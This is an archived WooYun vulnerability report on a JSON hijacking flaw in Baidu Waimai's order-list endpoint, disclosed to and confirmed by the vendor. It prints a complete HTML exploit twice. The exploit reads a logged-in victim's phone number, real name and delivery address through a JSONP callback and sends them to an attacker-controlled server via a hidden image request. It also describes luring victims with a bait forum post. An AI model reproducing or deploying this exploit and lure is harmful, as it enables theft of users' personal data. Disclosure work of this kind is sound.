当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0146285

漏洞标题：百度外卖之订单信息泄漏

相关厂商：百度

漏洞作者： geegirl

提交时间：2015-10-13 10:27

修复时间：2015-11-27 10:48

公开时间：2015-11-27 10:48

漏洞类型：CSRF

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-13： 细节已通知厂商并且等待厂商处理中
2015-10-13： 厂商已经确认，细节仅向厂商公开
2015-10-23： 细节向核心白帽子及相关领域专家公开
2015-11-02： 细节向普通白帽子公开
2015-11-12： 细节向实习白帽子公开
2015-11-27： 细节向公众公开

简要描述：

哦哈哈有用妹子可用了。。。。虽然比较被动。（不是越权）

详细说明：

好吧，不是越权，是json劫持，这种问题在流量比较大的网站问题还比较严重！订单泄漏地址，手机，名字什么的都是小事。。
json劫持，，不用多说了把，
poc

<html>
<head> 
<script>  
 var phone="";
 var name="";
 var addr="";
 var infos="";
function wooyun_callback(a){ 
eval(a);
phone=a.result.data[0].user_phone;
name=a.result.data[0].user_real_name;
addr=a.result.data[0].user_address;
infos=phone+"||"+name+"||"+addr;
}
</script>
<script
src="http://waimai.baidu.com/waimai/trade/orderlist?type=list&display=json&page=1&callback=wooyun_callback"
>
</script>
<title>test</title>
</head>
<body>
<img id="img1" src="1.jpg" height="0",width="0">
<img id="img2" src="1.jpg">
<script>
document.getElementById("img1").src="http://192.168.1.104/r.php?info="+infos;
</script>
</body>
</html>


保存为html，然后上传到自己的服务器，之后就可以各种散播连接了，（服务端用php，很简单不啰嗦了）
比如在贴吧发送xxx福利帖子，然后附上上面文件的连接，只要一点，就可以了。。
点开后是女神的照片，可信息已经落入攻击者手中了。

22.png


11.png


3.png

漏洞证明：

好吧，不是越权，是json劫持，这种问题在流量比较大的网站问题还比较严重！订单泄漏地址，手机，名字什么的都是小事。。。。
json劫持，，不用多说了把，
poc

<html>
<head> 
<script>  
 var phone="";
 var name="";
 var addr="";
 var infos="";
function wooyun_callback(a){ 
eval(a);
phone=a.result.data[0].user_phone;
name=a.result.data[0].user_real_name;
addr=a.result.data[0].user_address;
infos=phone+"||"+name+"||"+addr;
}
</script>
<script
src="http://waimai.baidu.com/waimai/trade/orderlist?type=list&display=json&page=1&callback=wooyun_callback"
>
</script>
<title>test</title>
</head>
<body>
<img id="img1" src="1.jpg" height="0",width="0">
<img id="img2" src="1.jpg">
<script>
document.getElementById("img1").src="http://192.168.1.104/r.php?info="+infos;
</script>
</body>
</html>


保存为html，然后上传到自己的服务器，之后就可以各种散播连接了，（服务端用php，很简单不啰嗦了）
比如在贴吧发送xxx福利帖子，然后附上上面文件的连接，只要一点，就可以了。。
点开后是女神的照片，可信息已经落入攻击者手中了。

22.png


11.png


3.png

修复方案：

洞不大，可是有礼物吗？

版权声明：转载请注明来源 geegirl@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2015-10-13 10:46

厂商回复：

感谢提交！

最新状态：

暂无

漏洞评价：

评价

  1. 2015-10-19 15:01 | 百度(乌云厂商)

    hi，感谢反馈百度产品漏洞，百度安全应急响应中心现在正在开展百度产品众测活动，外卖也是众测产品之一，欢迎加入！可否留个QQ？